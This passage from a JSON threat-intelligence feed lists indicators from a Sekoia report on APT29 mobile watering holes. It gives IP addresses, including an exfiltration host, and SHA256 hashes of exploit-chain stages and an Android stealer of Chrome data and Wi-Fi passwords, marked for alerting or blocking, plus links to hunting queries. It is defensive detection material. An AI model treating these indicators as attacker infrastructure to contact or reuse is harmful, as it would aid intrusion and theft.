"confidence": "med", "recommended_action": "alert", "description": "IP that edge-ord.clouds-stacks.com resolved to (servinga AS219399); VPS that may be reassigned.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "195.58.140.105", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP of the ad.starx-net.com exfiltration host (Shock Hosting AS395092); VPS that may be reassigned.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "a7d2493df00565c21587b0cad2a9fe7ca1e5590acf796da6e499be0ffde44cc3", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of exploit-chain stage Class-A-Stage1; mostly relevant to Defender for iOS/Android and web proxies.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "bee3e014e3df87ddce0250b0985b87f6868a427a7b650a74b7ffedb9d57f3088", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of exploit-chain stage Class-A-Stage2; mostly relevant to Defender for iOS/Android and web proxies.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "c170fda024183645c0aa681149304e50506509c3498bb6b9a5f5ced6aa73e5fa", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of exploit-chain stage Class-B-Stage1; mostly relevant to Defender for iOS/Android and web proxies.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "2ffb35e3f9e55286a930fb887e73764a913166648135fe0ca7551736d97d7bfa", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of exploit-chain stage Class-B-Stage2; mostly relevant to Defender for iOS/Android and web proxies.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "69b6cb327a4d5da99399718f6a66f84de69f89425b0a31f2dcee0682f811596f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of exploit-chain stage Class-B-Stage3; mostly relevant to Defender for iOS/Android and web proxies.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "29d283ebd08d0cd3b2e6f4a67718d3d6e7a6be01d0613d716bce218dba57a928", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of exploit-chain stage Class-C-Stage1-JS; mostly relevant to Defender for iOS/Android and web proxies.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "06c17b31d36838f3d29044784aa047d5c2d9174d3356c1211cf25f9df677445f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of exploit-chain stage Class-C-Stage2-JS; mostly relevant to Defender for iOS/Android and web proxies.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "183d62d682aea8018491c8559544e8d6a9ab0e1abd05ecbb6c97daa4f438d2b8", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of exploit-chain stage Class-C-Stage2 CVE-2025-27038; mostly relevant to Defender for iOS/Android and web proxies.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "387a7fb768db1350a9788d9704e7a72abe07152734e0ff026af72b417e36268c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of AndroSnitch, the Android payload that steals Chrome data and Wi-Fi passwords.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/hunt.kql", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/hunt.spl", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/hunt_raw.spl", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/hunt.yaral", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_hunt.yaral" } ] } ] }